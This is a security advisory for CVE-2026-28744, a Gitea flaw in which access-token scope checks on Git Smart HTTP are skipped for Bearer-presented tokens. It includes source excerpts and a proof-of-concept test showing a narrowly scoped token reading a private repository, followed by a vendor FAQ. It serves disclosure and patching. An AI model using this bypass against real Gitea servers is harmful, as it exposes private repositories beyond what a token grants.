CVE-2026-28744

Gitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication, CheckRepoScopedToken() returns early unless ctx.IsBasicAuth is true, so the same token sent as Authorization: Bearer <token> bypasses the scope check entirely.

As a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the read:repository scope, and likewise reach the Git push without write:repository.

Details

Git Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth:

// routers/web/web.go
addOwnerRepoGitHTTPRouters(
	m,
	repo.HTTPGitEnabledHandler,
	webAuth.AllowBasic,
	webAuth.AllowOAuth2,
	repo.CorsHandler(),
	optSignInFromAnyOrigin,
	context.UserAssignmentWeb(),
)

The Git HTTP authorization path calls CheckRepoScopedToken() before falling through to normal repository RBAC:

// routers/web/repo/githttp.go
if askAuth {
	if !ctx.IsSigned {
		ctx.HTTPError(http.StatusUnauthorized)
		return nil
	}

	context.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode))
	if ctx.Written() {
		return nil
	}

	// normal repository RBAC follows
}

However, CheckRepoScopedToken() only enforces token scopes for Basic-authenticated requests:

// services/context/permission.go
func CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) {
	if !ctx.IsBasicAuth || ctx.Data["IsApiToken"] != true {
		return
	}

	scope, ok := ctx.Data["ApiTokenScope"].(auth_model.AccessTokenScope)
	if ok {
		requiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository)
		// public-only and required repository scope checks follow
	}
}

The Bearer/OAuth2 auth path still records the token scope:

// services/auth/oauth2.go
accessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA)
if uid != 0 {
	store.GetData()["IsApiToken"] = true
	store.GetData()["ApiTokenScope"] = accessTokenScope
}

Bearer PATs also set IsApiToken=true and ApiTokenScope, but ctx.IsBasicAuth remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored.

PoC

This test creates a token for user2 with only read:notification, then requests Git Smart HTTP refs for user2/repo2, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth.

func TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {
	defer tests.PrepareTestEnv(t)()

	repo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: "user2", Name: "repo2"})
	assert.True(t, repo.IsPrivate)

	session := loginUser(t, "user2")
	token := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)
	url := "/user2/repo2/info/refs?service=git-upload-pack"

	basicReq := NewRequest(t, "GET", url)
	basicReq.SetBasicAuth(token, "x-oauth-basic")
	MakeRequest(t, basicReq, http.StatusForbidden)

	bearerReq := NewRequest(t, "GET", url).AddTokenAuth(token)
	resp := MakeRequest(t, bearerReq, http.StatusOK)
	assert.Contains(t, resp.Body.String(), "refs/heads/master")
}

Any Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access.

The vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as read:notification, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because git-receive-pack also calls the same repository scope check before normal write RBAC.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-28744 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.26.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-28744? CVE-2026-28744 is a high-severity incorrect authorization vulnerability in code.gitea.io/gitea (go), affecting versions <= 1.26.1. It is fixed in 1.26.2. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-28744? CVE-2026-28744 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.gitea.io/gitea are affected by CVE-2026-28744? code.gitea.io/gitea (go) versions <= 1.26.1 is affected.
4. Is there a fix for CVE-2026-28744? Yes. CVE-2026-28744 is fixed in 1.26.2. Upgrade to this version or later.
5. Is CVE-2026-28744 exploitable, and should I be worried? Whether CVE-2026-28744 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-28744 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-28744? Upgrade code.gitea.io/gitea to 1.26.2 or later.